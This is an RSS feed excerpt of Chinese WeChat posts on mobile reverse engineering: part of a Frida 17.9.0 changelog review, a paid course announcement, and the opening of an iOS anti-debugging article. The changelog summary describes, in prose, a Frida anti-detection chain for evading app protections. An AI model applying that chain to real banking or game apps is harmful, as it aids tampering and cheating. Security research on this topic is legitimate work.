leaf="">重构</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Android轻量级Zygote hooking（zymbiote）</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">1b908e69</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">重构</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">frida-helper.dex统一化</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">747a9cd1</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">RISC-V初步支持</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">55c8bcb8</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">修复</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Fruity USB启动/关闭竞态</span></p></td></tr></tbody></table><h3 data-line="617" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-gum（17.8.x周期）</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">分类</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">b665c979</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Interceptor FORCE attach标志</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">35c5d862</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">增强</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ELF RTLD notifier强制hook</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">2f898792</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">修复</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Android __pthread_start符号后缀处理</span></p></td></tr></tbody></table><h3 data-line="625" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-python（17.9.0）</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">分类</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cc9a78e</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Device.override_option()绑定</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">22ed1fa</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">文档</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">spawn gating示例</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">9b15bde</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">修复</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">child gating示例更新</span></p></td></tr></tbody></table><h2 data-line="633" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">总结</span></h2><p data-line="635" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida 17.9.0的更新虽然只有7个核心提交，但形成了清晰的技术闭环：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">eBPF spawn gater</span></strong><p><span leaf="">在内核层面拦截进程创建，不留ptrace痕迹</span></p></li><li style=""><strong><span leaf="">Group-stopped注入</span></strong><p><span leaf="">解决了eBPF拦截后的代码注入工程问题</span></p></li><li style=""><strong><span leaf="">control-endpoint</span></strong><p><span leaf="">允许隐藏frida-server的网络指纹</span></p></li></ol><p data-line="641" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">三者串联使用，构成了一条完整的Frida反检测链路：eBPF无痕拦截 → 短窗口ptrace注入 → 非标准端口/socket通信。对于安全研究者来说，这意味着在对抗重防护App时多了一套可靠的工程选择。</span></p><p data-line="643" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从Frida的技术演进看，17.8.0和17.9.0连续两个版本都在深化eBPF的应用——从系统调用跟踪到进程捕获，eBPF正在成为Frida在Linux/Android平台上的核心基础设施之一。</span></p><p data-line="645" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">同时也希望Frida作者在本体隐藏这一点上再接再厉！</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7a75d944&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485091%26idx%3D1%26sn%3D96238a9b1f9a023b9d7b2cdf7c9bbb93">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 29 Mar 2026 10:23:00 +0800</pubDate>
    </item>
    <item>
      <title>安卓逆向第二阶段正式完结！三阶段来了，EXP开发、Frida与AI逆向机器人、算法还原与模拟、设备指纹与游戏分析。木鱼沙箱内测</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485085&amp;idx=1&amp;sn=967334ef09adfaa7d93c6b34c7a9ed6c</link>
      <description>安卓逆向第二阶段完结，在第二与第三阶段这个空档期间，提前更新发布了6集第四阶段的实战内容给全阶段的朋友！</description>
      <content:encoded><![CDATA[<p><span>非虫</span> <span>2026-03-26 20:30</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=51a4df8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTicLhFTcg1hTthjqlAXwMKv9ViaJfNRscFhkZD9b9wAr90QQTGCcy3iaMMrHZG4IvhMVZWnib87geguHCbw2BfdojicGuZuU2TkUJXo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span leaf="">安卓逆向第二阶段完结，</span></p><p><span leaf="">在第二与第三阶段这个空档期间，提前更新发布了6集第四阶段的实战内容给全阶段的朋友！还有就是第三阶段花了一些时间准备开更课前资料。开发的插件脚本也经过多次迭代与实战，保证每一节的配套的代码与工具实现，不仅只是课程小节的内容，更是可以上战场实用的逆向工程伴侣。</span></p><p><span leaf="">课程尽可能的保证每一节都有实战的内容，视频上也会将踩的坑与实战的技巧展现给大家，所以，在阅读每代码前，时间充裕的学员最好同时看一下当前小节的视频，以免错过精彩的内容。</span></p><p><span leaf="">以下是AI自动化逆向</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001426" data-ratio="0.9176470588235294" data-s="300,640" type="block" data-type="png" data-w="1020" src="https://wechat2rss.xlab.app/img-proxy/?k=00298a18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTicIWdXXNo3U9lHIIBJd8P9iceU3YU54zR5T1RRKV6VJibKt6pyon6WJ9m3SK7ibibHnlPnKia73uM5xHYMDicQyD1AP1BBbhK7r45aYc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">第三阶段的安排上，会先讲ARM汇编相关的知识，包括指令反汇编调试与安卓EXP的开发知识，掌握这些后，后面看汇编逆向就不会觉得困难;接着安排Frida的使用，包括API的使用、脚本技巧以及Frida定制;然后就是AI相关的逆向工程部分了。这部分会向大家展示各类优秀的工具如何与AI联合起来实现高效软件逆向与自动化，以及如何开发AI自动化逆向的SKILL，以及不同工具的缺陷增强，这部分会有不少的插件与脚本分享给大家！接着是算法逆向分析与模拟了，这是很多逆向工程实战用到的内容，然后就是游戏分析的一些技巧也在这一阶段呈现给大家。</span></p><p><span leaf="">第三阶段与第四阶段大纲安排如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.4233870967741935" data-s="300,640" data-type="png" data-w="4464" type="block" data-imgfileid="100001425" src="https://wechat2rss.xlab.app/img-proxy/?k=ceee8474&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT87FQIAxiaiaQtQ8LqknztPMicR9nPibSe2qE5q1icASUhzibEVdfHzxLzeWia3am4AI6blvaKibvSGsCfbbHiaK85eB1KTfZQQug9C7ficc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">最后就是木鱼沙箱会与第三阶段一样的上线！可以加微信：feicongcn进群交流或联系购课</span></span></p></div><p><span leaf="">以上！</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0b2de390&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485085%26idx%3D1%26sn%3D967334ef09adfaa7d93c6b34c7a9ed6c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Mar 2026 20:30:00 +0800</pubDate>
    </item>
    <item>
      <title>拆解iOS应用逆向实战中的反调试与反篡改</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485071&amp;idx=1&amp;sn=ed0907e603198e77e3eca08dfce80a9a</link>
      <description>拆解iOS应用逆向实战中的反调试与反篡改</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-03-19 20:45</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=48290c68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTic0ZxkuRP6aMa1WemLRWSibVtO0B85MaMXrLY00r1TZ0fs8TloM4xHOFibMicQB5oF5cPCEjZow2SwHwXZk7xM8ChQZQhUx3Av66o%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">拆解iOS应用逆向实战中的反调试与反篡改</span></h1><h2 data-line="2" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">目录</span></h2><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">应用如何利用iOS侧信道</span></p></li><li style=""><p><span leaf="">应用如何自检</span></p></li><li style=""><p><span leaf="">应用如何在附加调试器时自毁</span></p></li><li style=""><p><span leaf="">应用如何主动破坏自己的崩溃日志</span></p></li><li style=""><p><span leaf="">应用如何借iOS之手终止自身</span></p></li><li style=""><p><span leaf="">应用如何持续复检</span></p></li><li style=""><p><span leaf="">结论</span></p></li></ol><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这次探索既出于好奇，也带着一点便利性考量。有人想把某款游戏再“推”一步，刷出更高分；同时在红队工作中，我们也想看清银行类应用在资金处理上的幕后逻辑。目标很简单：挂上调试器、观察行为、弄清实现细节。</span></p><p data-line="14" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但过程并不总是顺利。</span></p><p data-line="16" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">有些应用一启动就退出；有些应用先跑一段时间，再在没有明显原因的情况下失败；还有一些场景里，连可用的崩溃信息都没有。虽然每个应用表现不同，但样本看多后，重复出现的模式非常明显。</span></p><p data-line="18" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些应用开发者早已不再依赖单点检测。他们会叠加多种技术，让分析更难、让修改更不稳定，即便设备并未越狱也是如此。单项技术本身并不新鲜，真正值得关注的是它们如何组合，以及它们在多早的阶段就开始生效。问题逐渐不再是“某个保护点”，而是“整套联动机制”。</span></p><p data-line="20" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span 